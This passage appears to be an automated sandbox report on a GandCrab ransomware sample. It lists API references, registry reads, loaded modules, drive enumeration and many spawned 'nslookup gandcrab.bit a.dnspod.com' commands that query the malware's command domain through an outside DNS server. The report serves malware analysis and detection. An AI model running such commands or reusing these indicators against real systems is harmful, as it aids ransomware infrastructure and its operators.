"00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "StretchBlt"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "OpenEventLogW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp")29:Ta0d,Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006948) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001460) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006872) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004640) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002632) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004352) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007644) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007960) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005152) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004732) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007240) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004336) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000368) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005924) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007820) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004692) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002880) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001468) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001536) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002696) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000796) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005012) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005616) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005180) Process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006908)2a:T666,"malware.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 759b0000 "malware.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 759b0000 "malware.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 759b0000 "malware.exe" loaded module "KERNEL32" at base 74a80000 "malware.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73960000 "malware.exe" loaded module "KERNEL32.DLL" at base 74a80000 "malware.exe" loaded module "USER32.DLL" at base 76230000 "malware.exe" loaded module "SHELL32.DLL" at base 76a20000 "malware.exe" loaded module "WININET.DLL" at base 73450000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74250000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75860000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73740000 "malware.exe" loaded module "RPCRT4.DLL" at base 75480000 "malware.exe" loaded module "SSPICLI.DLL" at base 747a0000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76850000 "malware.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 73330000 "malware.exe" loaded module "WINHTTP.DLL" at base 73280000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73330000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73a50000 "malware.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74a80000 "malware.exe" loaded module "MSISO.DLL" at base 73210000 "malware.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73200000 "malware.exe" loaded module "NTDLL.DLL" at base 77d800002b:Tad5,Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006948) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001460) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006872) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004640) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002632) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004352) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007644) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007960) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005152) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004732) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007240) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004336) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000368) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005924) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007820) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004692) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002880) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001468) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001536) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002696) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000796) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005012) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005616) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005180) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006908)2c:T8d9,"malware.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\ZONEMAP\RANGES\"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKCU\ZONEMAP\RANGES\"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_ZONES_CHECK_ZONEMAP_POLICY_KB941001"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_ZONES_CHECK_ZONEMAP_POLICY_KB941001"; Key: ""; Value: "") "malware.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: ""; Value: "")2d:Tb0f,"malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "MIGRATEPROXY"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTOCONFIGURL"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTODETECT"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DIALUPAUTODETECT"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: "SQMSERVICELIST"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP"; Key: "AUTOPROXYAUTOLOGONIFCHALLENGED"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "WINHTTPLOWERCASEHOST"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "SECURITY_HKLM_ONLY"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0"; Key: "FLAGS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\1"; Key: "FLAGS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\2"; Key: "FLAGS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: "FLAGS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4"; Key: "FLAGS"; Value: "")2e:T520,"malware.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "malware.exe" trying to access non-existent file "C:\MSIMG32.DLL" "malware.exe" trying to access non-existent file "C:\FLTLIB.DLL" "malware.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "malware.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "malware.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "malware.exe" trying to access non-existent file "C:\BCRYPT.DLL" "malware.exe" trying to access non-existent file "C:\bcrypt.dll" "malware.exe" trying to access non-existent file "C:\USERENV.DLL" "malware.exe" trying to access non-existent file "C:\USERENV.dll" "malware.exe" trying to access non-existent file "C:\DPAPI.DLL" "malware.exe" trying to access non-existent file "C:\DPAPI.dll" "malware.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "malware.exe" trying to access non-existent file "C:\iertutil.dll" "malware.exe" trying to access non-existent file "C:\URLMON.DLL" "malware.exe" trying to access non-existent file "C:\urlmon.dll" "malware.exe" trying to access non-existent file "C:\NSLOOKUP.EXE" "malware.exe" trying to access non-existent file "C:\nslookup.exe" "malware.exe" trying to access non-existent file "nslookup.exe"2f:T723,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp")30:T4c7,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "malware.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "malware.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "malware.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "malware.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "malware.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005544.00000002.164910.0040F000.00000002.mdmp")31:T750,"malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "malware.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "")32:T800,"malware.exe" called "GetDriveTypeW" with parameter A:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter B:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter C:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter D:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter E:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter F:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter G:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter H:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter I:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter J:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter K:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter L:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter M:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter N:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter O:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter P:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter Q:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter R:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter S:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter T:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter U:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter V:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter W:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter X:\ (UID: 00000000-00005544) "malware.exe" called "GetDriveTypeW" with parameter Y:\ (UID: 00000000-00005544)33:T1731,Spawned process "malware.exe" (UID: 00000000-00005544) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006948) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001460) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006872) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004640) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002632) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004352) Spawned process 